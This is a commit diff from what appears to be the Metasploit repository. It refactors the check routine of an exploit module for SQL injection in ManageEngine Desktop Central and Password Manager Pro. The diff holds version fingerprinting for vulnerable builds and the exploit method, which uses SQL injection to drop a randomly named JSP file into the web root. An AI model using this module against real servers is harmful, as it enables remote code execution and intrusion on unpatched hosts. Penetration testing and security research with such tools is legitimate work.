Skip to content

Commit ecace8b

Browse files
committed
Refactor check method
1 parent ced6573 commit ecace8b

File tree

1 file changed

+129
-86
lines changed

1 file changed

+129
-86
lines changed

modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb

Lines changed: 129 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -118,88 +118,51 @@ def initialize(info={})
118118
register_advanced_options(
119119
[
120120
OptInt.new('CHUNK_SIZE',
121-
[true, 'Number of characters to send per request (< 7800)', 7500]),
121+
[true, 'Number of characters to send per request (< 7800)', 7500]),
122122
OptInt.new('SLEEP',
123-
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
123+
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
124124
OptBool.new('EXE_SMALL',
125-
[true, 'Use exe-small encoding for better reliability', true]),
125+
[true, 'Use exe-small encoding for better reliability', true]),
126126
], self.class)
127127

128128
end
129129

130-
131130
def check
132-
# Test for Desktop Central
133-
res = send_request_cgi({
134-
'uri' => normalize_uri("configurations.do"),
135-
'method' => 'GET'
136-
})
131+
check_code = check_desktop_central
137132

138-
if res and res.code == 200
139-
if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
140-
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
141-
# DC v7 uses the MySQL database
142-
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
143-
return Exploit::CheckCode::Appears
144-
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
145-
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
146-
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8
147-
build = $1
148-
if build > "80200"
149-
print_status("#{peer} - Detected Desktop Central v8 #{build}")
150-
return Exploit::CheckCode::Appears
151-
else
152-
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
153-
end
154-
else
155-
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
156-
end
157-
# DC v8 < 80200 uses the MySQL database
158-
return Exploit::CheckCode::Appears
159-
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
160-
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
161-
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9
162-
build = $1
163-
print_status("#{peer} - Detected Desktop Central v9 #{build}")
164-
if build < "90039"
165-
return Exploit::CheckCode::Appears
166-
else
167-
return Exploit::CheckCode::Safe
168-
end
169-
end
170-
end
133+
if check_code == Exploit::CheckCode::Unknown
134+
check_code = check_password_manager_pro
171135
end
172136

173-
# Test for Password Manager Pro
174-
res = send_request_cgi({
175-
'uri' => normalize_uri("PassTrixMain.cc"),
176-
'method' => 'GET'
177-
})
137+
check_code
138+
end
178139

179-
if res and res.code == 200 and
180-
res.body.to_s =~ /ManageEngine Password Manager Pro/ and
181-
(res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6
182-
res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6
183-
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7
184-
build = $1
185-
if build < "7003"
186-
if build < "6800"
187-
# PMP v6 < 6800 uses the MySQL database
188-
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
189-
else
190-
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
191-
end
192-
if build >= "6500"
193-
# if it's a build below 6500, it will only work if we have a JSP compiler
194-
return Exploit::CheckCode::Appears
195-
end
196-
else
197-
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
198-
return Exploit::CheckCode::Safe
199-
end
140+
def exploit
141+
@my_target = pick_target
142+
if @my_target.nil?
143+
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
144+
else
145+
print_status("#{peer} - Selected target #{@my_target.name}")
200146
end
201-
end
202147

148+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
149+
# Fail if this is the case to avoid polluting the web root any more.
150+
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /windows/i
151+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
152+
end
153+
154+
if datastore['WEB_ROOT']
155+
web_root = datastore['WEB_ROOT']
156+
else
157+
web_root = @my_target['WebRoot']
158+
end
159+
160+
jsp_name = rand_text_alpha_lower(8) + ".jsp"
161+
fullpath = web_root + jsp_name
162+
register_file_for_cleanup(fullpath.sub('../',''))
163+
164+
inject_exec(jsp_name, fullpath)
165+
end
203166

204167
def pick_target
205168
return target if target.name != 'Automatic'
@@ -531,30 +494,110 @@ def inject_exec(jsp_name, fullpath)
531494
handler
532495
end
533496

534-
535-
def exploit
536-
@my_target = pick_target
537-
if @my_target.nil?
538-
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
497+
def check_desktop_central_8(body)
498+
if body =~ /id="buildNum" value="([0-9]+)"\/>/
499+
build = $1
500+
if ver_gt(build, '80200')
501+
print_status("#{peer} - Detected Desktop Central v8 #{build}")
502+
else
503+
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
504+
end
539505
else
540-
print_status("#{peer} - Selected target #{@my_target.name}")
506+
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
541507
end
542-
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
543-
# Fail if this is the case to avoid polluting the web root any more.
544-
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
545-
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
508+
# DC v8 < 80200 uses the MySQL database
509+
Exploit::CheckCode::Appears
510+
end
511+
512+
def check_desktop_central_9(body)
513+
if body =~ /id="buildNum" value="([0-9]+)"\/>/
514+
build = $1
515+
print_status("#{peer} - Detected Desktop Central v9 #{build}")
516+
if ver_lt(build, '90039')
517+
return Exploit::CheckCode::Appears
518+
else
519+
return Exploit::CheckCode::Safe
520+
end
546521
end
522+
end
547523

548-
if datastore['WEB_ROOT']
549-
web_root = datastore['WEB_ROOT']
524+
# Test for Desktop Central
525+
def check_desktop_central
526+
res = send_request_cgi({
527+
'uri' => normalize_uri("configurations.do"),
528+
'method' => 'GET'
529+
})
530+
531+
unless res && res.code == 200
532+
return Exploit::CheckCode::Unknown
533+
end
534+
535+
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
536+
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
537+
# DC v7 uses the MySQL database
538+
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
539+
return Exploit::CheckCode::Appears
540+
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
541+
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
542+
return check_desktop_central_8(res.body.to_s)
543+
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
544+
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
545+
return check_desktop_central_9(res.body.to_s)
546+
end
547+
548+
Exploit::CheckCode::Unknown
549+
end
550+
551+
# Test for Password Manager Pro
552+
def check_password_manager_pro
553+
res = send_request_cgi({
554+
'uri' => normalize_uri("PassTrixMain.cc"),
555+
'method' => 'GET'
556+
})
557+
558+
if res && res.code == 200 &&
559+
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
560+
(
561+
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
562+
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
563+
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
564+
)
565+
build = $1
550566
else
551-
web_root = @my_target['WebRoot']
567+
return Exploit::CheckCode::Unknown
552568
end
553569

554-
jsp_name = rand_text_alpha_lower(8) + ".jsp"
555-
fullpath = web_root + jsp_name
556-
register_file_for_cleanup(fullpath.sub('../',''))
557570

558-
inject_exec(jsp_name, fullpath)
571+
if ver_lt_eq(build, '6500')
572+
# if it's a build below 6500, it will only work if we have a JSP compiler
573+
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
574+
return Exploit::CheckCode::Detected
575+
elsif ver_lt(build, '6800')
576+
# PMP v6 < 6800 uses the MySQL database
577+
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
578+
return Exploit::CheckCode::Appears
579+
elsif ver_lt(build, '7003')
580+
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
581+
return Exploit::CheckCode::Appears
582+
else
583+
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
584+
Exploit::CheckCode::Safe
585+
end
586+
end
587+
588+
def ver_lt(a, b)
589+
Gem::Version.new(a) < Gem::Version.new(b)
590+
end
591+
592+
def ver_lt_eq(a, b)
593+
Gem::Version.new(a) <= Gem::Version.new(b)
594+
end
595+
596+
def ver_gt_eq(a, b)
597+
Gem::Version.new(a) >= Gem::Version.new(b)
598+
end
599+
600+
def ver_gt(a, b)
601+
Gem::Version.new(a) > Gem::Version.new(b)
559602
end
560603
end

0 commit comments

Comments
 (0)